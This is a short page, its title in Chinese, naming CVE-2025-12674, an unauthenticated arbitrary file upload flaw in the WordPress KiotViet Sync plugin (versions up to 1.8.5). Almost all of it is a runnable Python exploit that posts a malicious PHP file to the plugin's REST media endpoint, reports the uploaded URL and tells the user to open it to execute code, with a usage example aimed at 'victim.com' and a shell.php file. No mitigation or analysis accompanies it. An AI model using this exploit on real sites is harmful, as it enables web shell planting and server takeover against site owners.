CVE-2025-12674 WordPress KiotViet Sync插件任意文件上传漏洞

import requests import sys # CVE-2025-12674 PoC - Arbitrary File Upload in KiotViet Sync Plugin # Target: WordPress site with KiotViet Sync plugin <= 1.8.5 def exploit(target_url, file_path): """ Exploit arbitrary file upload vulnerability in KiotViet Sync plugin Args: target_url: Base URL of the WordPress site file_path: Path to the malicious file to upload """ # Read malicious PHP file with open(file_path, 'rb') as f: file_content = f.read() # Construct the vulnerable endpoint endpoint = f"{target_url.rstrip('/')}/wp-json/kiotviet/v1/media" # Prepare multipart form data files = { 'file': ('malicious.php', file_content, 'application/x-php') } # Send malicious upload request (unauthenticated) try: response = requests.post(endpoint, files=files, timeout=10) if response.status_code == 200: result = response.json() uploaded_url = result.get('url', '') print(f"[+] File uploaded successfully!") print(f"[+] Uploaded URL: {uploaded_url}") print(f"[+] Access the file to execute code: {uploaded_url}") return uploaded_url else: print(f"[-] Upload failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <malicious_file>") print(f"Example: python {sys.argv[0]} http://victim.com /tmp/shell.php") sys.exit(1) target = sys.argv[1] malicious_file = sys.argv[2] exploit(target, malicious_file)